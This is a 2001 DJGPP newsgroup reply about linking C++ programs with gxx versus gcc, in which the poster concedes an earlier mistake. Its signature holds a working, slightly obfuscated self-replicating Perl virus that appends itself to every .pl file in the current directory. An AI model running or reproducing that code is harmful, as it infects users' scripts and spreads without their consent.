From: rpolzer AT web DOT de (Rudolf Polzer) Newsgroups: comp.os.msdos.djgpp Subject: Re: Newbie with invalid argument References: <20010217111622 DOT 24753 DOT 00001357 AT ng-fl1 DOT aol DOT com> <3099-Sat17Feb2001215021+0200-eliz AT is DOT elta DOT co DOT il> X-newsgroup: comp.os.msdos.djgpp X-Mailer: GehtDichNenScheissdreckAn 1.0 User-Agent: GehtDichNenScheissdreckAn 1.0 Message-ID: User-Agent: slrn/0.9.6.2 (Linux) Date: Sun, 18 Feb 2001 12:03:25 +0100 Lines: 35 NNTP-Posting-Host: 213.7.26.13 X-Trace: 982493846 news.freenet.de 15903 213.7.26.13 X-Complaints-To: abuse AT freenet DOT de To: djgpp AT delorie DOT com DJ-Gateway: from newsgroup comp.os.msdos.djgpp Reply-To: djgpp AT delorie DOT com Eli Zaretskii schrieb Folgendes: > > From: rpolzer AT web DOT de (Rudolf Polzer) > > Newsgroups: comp.os.msdos.djgpp > > Date: Sat, 17 Feb 2001 19:54:53 +0100 > > > > > > gxx -o hello.exe hello.o > > > rename of hello.o to hello.exe failed. > > > the error was: invalid argument (ENIVAL) > > > > You have to run gcc: > > > > gcc -o hello.exe hello.o > > > > Or, if you only have one .cpp file: > > > > gcc -o hello.exe hello.cpp > > ??? If at all relevant, this is backwards: C++ programs need to be > linked with gxx or gpp, not gcc. > > In any case, even using gcc, you should never see EINVAL and the error > message cited by the OP (see above). Sorry. I did not think when writing. The first line is ok, I use it in makefiles (but I add -lstdcx) as well as RHIDE does. Both work when adding -lstdcx (in Unix: -lstdc++) and are correct, according to the info files. I answered this because I was wondering why gxx wanted to _rename_ an .o file to an .exe file. -- #!/usr/bin/perl eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X $0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"}); ####################### http://learn.to/quote #######################